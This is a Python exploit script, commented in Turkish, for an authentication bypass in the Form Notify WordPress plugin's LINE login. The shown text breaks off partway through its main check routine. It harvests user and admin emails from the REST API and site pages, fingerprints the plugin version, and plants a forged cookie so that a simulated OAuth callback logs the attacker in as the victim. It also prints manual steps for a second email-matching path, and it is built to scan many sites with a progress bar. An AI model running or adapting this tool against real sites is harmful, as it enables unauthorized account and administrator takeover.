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| #!/usr/bin/env python3
"""
CVE — Form Notify WordPress Plugin
LINE OAuth Authentication Bypass → Account Takeover
Etkilenen Sürümler:
<= 1.1.08 : Path A — Cookie Injection (email gerekmez)
<= 1.1.10 : Path B — Email Match (LINE hesabı gerekir)
Saldırı Zinciri:
Path A:
1. Hedef kullanıcı emailini tespit et (wp-json/wp/v2/users)
2. form_notify_line_email cookie'sini hedef email ile set et
3. LINE OAuth flow başlat → email scope VERMEDEn tamamla
4. Plugin cookie'yi okur → hedef kullanıcı olarak authenticate eder
Path B:
1. Hedef kullanıcı emailini tespit et
2. LINE OAuth flow başlat → email scope VERErek tamamla
3. Plugin LINE email'ini kullanarak get_user_by('email') çağırır
4. Linkage kontrolü yok → hedef kullanıcı olarak authenticate eder
"""
import requests
import argparse
import json
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urlencode, urlparse, parse_qs
requests.packages.urllib3.disable_warnings()
G = "\033[92m"; R = "\033[91m"; Y = "\033[93m"
C = "\033[96m"; D = "\033[90m"; B = "\033[1m"; X = "\033[0m"
_lock = Lock()
_counter = [0]
def out(msg):
with _lock:
sys.stdout.write("\r" + " " * 90 + "\r")
sys.stdout.write(msg + "\n")
sys.stdout.flush()
def progress(total):
with _lock:
_counter[0] += 1
n = _counter[0]
pct = n * 100 // total
bar = "█" * (pct // 5) + "░" * (20 - pct // 5)
sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%) ")
sys.stdout.flush()
# ══════════════════════════════════════════════════════════════
# HEDEF KULLANICI TESPİTİ
# ══════════════════════════════════════════════════════════════
def get_users_from_rest(sess, base):
"""
WordPress REST API'den kullanıcı listesi çek.
GET /wp-json/wp/v2/users
"""
users = []
endpoints = [
"/wp-json/wp/v2/users",
"/wp-json/wp/v2/users?per_page=100",
"/wp-json/wp/v2/users?roles=administrator",
]
for ep in endpoints:
try:
r = sess.get(base + ep, timeout=8)
if r.status_code == 200:
data = r.json()
if isinstance(data, list):
for u in data:
email = u.get("email", "")
slug = u.get("slug", "")
name = u.get("name", "")
uid = u.get("id", 0)
roles = u.get("roles", [])
# Email bazen gizlenir — slug'dan tahmin et
if not email and slug:
email = f"{slug}@{urlparse(base).netloc}"
if email or slug:
users.append({
"id": uid,
"name": name,
"email": email,
"slug": slug,
"roles": roles,
})
if users:
break
except: continue
return users
def get_admin_email_from_page(sess, base):
"""
Sayfa kaynağından admin email adresini çıkarmaya çalış.
- Lost password form
- Author sayfaları
- Contact bilgileri
- wp-login.php
"""
emails = []
EMAIL_RE = re.compile(
r'[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}'
)
pages = [
"/wp-login.php?action=lostpassword",
"/contact", "/contact-us", "/about", "/about-us",
"/?author=1", "/?author=2",
"/wp-json/form-notify/v1/login",
]
for path in pages:
try:
r = sess.get(base + path, timeout=5, allow_redirects=True)
found = EMAIL_RE.findall(r.text)
for e in found:
# Sistem emaillerini filtrele
if not any(x in e for x in [
"example.com", "wordpress.org",
"w3.org", "schema.org", "jquery"
]):
emails.append(e)
except: continue
# Tekrarları kaldır, önce admin/info olanları sırala
seen = []
for e in emails:
if e not in seen:
seen.append(e)
seen.sort(key=lambda e: (
0 if any(x in e.lower() for x in ["admin","info","contact","support"]) else 1
))
return seen
def discover_targets(sess, base):
"""
Tüm yöntemleri kullanarak hedef kullanıcıları bul.
Döndürür: [{"email": ..., "name": ..., "roles": [...]}]
"""
targets = []
# 1. REST API
rest_users = get_users_from_rest(sess, base)
for u in rest_users:
if u["email"]:
targets.append(u)
# 2. Sayfa tarama
if not targets:
emails = get_admin_email_from_page(sess, base)
for e in emails:
targets.append({"email": e, "name": "", "roles": [], "id": 0})
return targets
# ══════════════════════════════════════════════════════════════
# FORM NOTIFY EKLENTI TESPİTİ
# ══════════════════════════════════════════════════════════════
def detect_plugin(sess, base):
"""
Form Notify eklentisinin kurulu ve LINE Login'in aktif olup
olmadığını kontrol et.
"""
indicators = {
"plugin_installed": False,
"line_login_active": False,
"version": None,
"login_url": None,
"callback_url": None,
}
# REST endpoint varlığı
for ep in [
"/wp-json/form-notify/v1/login",
"/wp-json/form-notify/v1/callback",
]:
try:
r = sess.get(base + ep, timeout=5, allow_redirects=False)
if r.status_code in (200, 302, 400, 401, 403):
indicators["plugin_installed"] = True
if "login" in ep:
indicators["login_url"] = base + ep
indicators["line_login_active"] = True
if "callback" in ep:
indicators["callback_url"] = base + ep
except: continue
# Eklenti dosyası varlığı
try:
r = sess.get(
base + "/wp-content/plugins/form-notify/readme.txt",
timeout=5
)
if r.status_code == 200:
indicators["plugin_installed"] = True
# Sürüm tespiti
m = re.search(r'Stable tag:\s*([\d.]+)', r.text)
if m:
indicators["version"] = m.group(1)
except: pass
# Sayfa kaynağında LINE login butonu
try:
r = sess.get(base, timeout=5)
if any(x in r.text for x in [
"form-notify", "form_notify",
"line-login", "line_login",
"form-notify/v1/login",
]):
indicators["plugin_installed"] = True
if "form-notify/v1/login" in r.text:
indicators["line_login_active"] = True
except: pass
return indicators
# ══════════════════════════════════════════════════════════════
# PATH A — COOKIE INJECTION (<= 1.1.08)
# ══════════════════════════════════════════════════════════════
def path_a_cookie_injection(sess, base, target_email, plugin_info):
"""
form_notify_line_email cookie'sini hedef email ile set ederek
LINE OAuth flow başlat.
Adımlar:
1. Cookie'yi set et
2. /wp-json/form-notify/v1/login endpoint'ine istek at
3. LINE OAuth URL'ini al
4. State parametresini çıkar
5. Callback'i doğrudan simüle et (email scope olmadan)
"""
login_url = plugin_info.get("login_url") or (base + "/wp-json/form-notify/v1/login")
callback_url = plugin_info.get("callback_url") or (base + "/wp-json/form-notify/v1/callback")
# Cookie set et
sess.cookies.set(
"form_notify_line_email",
target_email,
domain=urlparse(base).netloc,
path="/"
)
try:
# Login endpoint'ini çağır — LINE OAuth URL'ini al
r = sess.get(login_url, timeout=8, allow_redirects=False)
line_oauth_url = None
if r.status_code in (301, 302, 307, 308):
line_oauth_url = r.headers.get("Location", "")
elif r.status_code == 200:
# JSON yanıt içinde URL olabilir
try:
data = r.json()
line_oauth_url = data.get("url") or data.get("redirect_url", "")
except:
m = re.search(r'https://access\.line\.me[^\s"\'<>]+', r.text)
if m:
line_oauth_url = m.group(0)
if not line_oauth_url:
return {"status": "NO_OAUTH_URL", "path": "A"}
# State parametresini çıkar
parsed = urlparse(line_oauth_url)
params = parse_qs(parsed.query)
state = params.get("state", [""])[0]
if not state:
return {"status": "NO_STATE", "path": "A"}
# Callback'i simüle et — email scope olmadan
# LINE normalde code ve state döndürür
# Burada mock bir code kullanıyoruz; gerçek testte
# LINE'dan alınan gerçek code kullanılmalıdır
callback_params = {
"code": "mock_auth_code_path_a",
"state": state,
}
r2 = sess.get(
callback_url,
params=callback_params,
cookies={"form_notify_line_email": target_email},
timeout=10,
allow_redirects=True,
)
# Oturum açıldı mı kontrol et
auth_cookies = {
k: v for k, v in sess.cookies.items()
if "wordpress_logged_in" in k or "wordpress_sec" in k
}
if auth_cookies:
return {
"status": "AUTH_SUCCESS",
"path": "A",
"target_email": target_email,
"cookies": auth_cookies,
"oauth_url": line_oauth_url,
}
# Redirect hedefine bak
final_url = r2.url
if "/wp-admin" in final_url or "dashboard" in final_url:
return {
"status": "REDIRECT_ADMIN",
"path": "A",
"target_email": target_email,
"final_url": final_url,
"oauth_url": line_oauth_url,
}
return {
"status": "CALLBACK_SENT",
"path": "A",
"note": "Manuel tamamlama gerekiyor — LINE OAuth URL'ini tarayıcıda aç",
"oauth_url": line_oauth_url,
"state": state,
"cookie": f"form_notify_line_email={target_email}",
}
except requests.exceptions.Timeout:
return {"status": "TIMEOUT", "path": "A"}
except requests.exceptions.ConnectionError:
return {"status": "CONN_ERR", "path": "A"}
except Exception as e:
return {"status": "EXCEPTION", "path": "A", "err": str(e)}
# ══════════════════════════════════════════════════════════════
# PATH B — EMAIL MATCH (<= 1.1.10)
# ══════════════════════════════════════════════════════════════
def path_b_email_match(sess, base, target_email, plugin_info):
"""
LINE hesabı hedef email ile kayıtlıysa OAuth flow ile
doğrudan authenticate ol.
NOT: Bu path gerçek LINE hesabı gerektirir.
Bu fonksiyon flow'u başlatır ve manuel tamamlama
için gerekli bilgileri döndürür.
"""
login_url = plugin_info.get("login_url") or (base + "/wp-json/form-notify/v1/login")
try:
r = sess.get(login_url, timeout=8, allow_redirects=False)
line_oauth_url = None
if r.status_code in (301, 302, 307, 308):
line_oauth_url = r.headers.get("Location", "")
elif r.status_code == 200:
try:
data = r.json()
line_oauth_url = data.get("url") or data.get("redirect_url", "")
except:
m = re.search(r'https://access\.line\.me[^\s"\'<>]+', r.text)
if m:
line_oauth_url = m.group(0)
if not line_oauth_url:
return {"status": "NO_OAUTH_URL", "path": "B"}
parsed = urlparse(line_oauth_url)
params = parse_qs(parsed.query)
state = params.get("state", [""])[0]
return {
"status": "MANUAL_REQUIRED",
"path": "B",
"target_email": target_email,
"oauth_url": line_oauth_url,
"state": state,
"instructions": [
f"1. LINE hesabını {target_email} ile kaydet/giriş yap",
f"2. Şu URL'yi tarayıcıda aç: {line_oauth_url}",
"3. LINE consent ekranında EMAIL iznini ver",
"4. Callback sonrası /wp-admin/'e git",
],
}
except requests.exceptions.Timeout:
return {"status": "TIMEOUT", "path": "B"}
except Exception as e:
return {"status": "EXCEPTION", "path": "B", "err": str(e)}
# ══════════════════════════════════════════════════════════════
# OTURUM DOĞRULAMA
# ══════════════════════════════════════════════════════════════
def verify_session(sess, base):
"""
Mevcut session ile /wp-json/wp/v2/users/me endpoint'ini çağır.
Başarılı ise kullanıcı bilgilerini döndür.
"""
try:
r = sess.get(
base + "/wp-json/wp/v2/users/me",
timeout=8
)
if r.status_code == 200:
data = r.json()
return {
"verified": True,
"id": data.get("id"),
"name": data.get("name"),
"email": data.get("email"),
"roles": data.get("roles", []),
}
except: pass
return {"verified": False}
# ══════════════════════════════════════════════════════════════
# TEKİL HEDEF KONTROLÜ
# ══════════════════════════════════════════════════════════════
def check(target, args, total=1):
if not target.startswith("http"):
target = "http://" + target
sess = requests.Session()
sess.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
sess.verify = False
if args.proxy:
sess.proxies = {"http": args.proxy, "https": args.proxy}
# Bağlantı testi
try:
r = sess.get(target, timeout=8, allow_redirects=True)
base = r.url.rstrip("/")
except:
progress(total)
return {"status": "UNREACH", "url": target}
# ── Adım 1: Eklenti tespiti ──
plugin_info = detect_plugin(sess, base)
if not plugin_info["plugin_installed"]:
progress(total)
return {"status": "NO_PLUGIN", "url": base}
if not plugin_info["line_login_active"]:
progress(total)
return {
"status": "PLUGIN_NO_LINE",
"url": base,
"version": plugin_info.get("version"),
}
# ── Adım 2: Hedef kullanıcıları bul ──
if args.email:
targets = [{"email": args.email, "name": "manual", "roles": [], "id": 0}]
else:
targets = discover_targets(sess, base)
if not targets:
progress(total)
return {"status": "NO_TARGETS", "url": base}
# ── Adım 3: Saldırı path'ini belirle ──
version = plugin_info.get("version") or "unknown"
results = []
for tgt in targets[:args.max_users]:
email = tgt.get("email", "")
if not email:
continue
# Path A — Cookie Injection (<= 1.1.08)
if args.path in ("A", "both"):
res_a = path_a_cookie_injection(
sess, base, email, plugin_info
)
res_a["url"] = base
res_a["version"] = version
res_a["target"] = tgt
results.append(res_a)
# Başarılı ise doğrula
if res_a["status"] in ("AUTH_SUCCESS", "REDIRECT_ADMIN"):
v = verify_session(sess, base)
res_a["session_verified"] = v
# Path B — Email Match (<= 1.1.10)
if args.path in ("B", "both"):
res_b = path_b_email_match(
sess, base, email, plugin_info
)
|
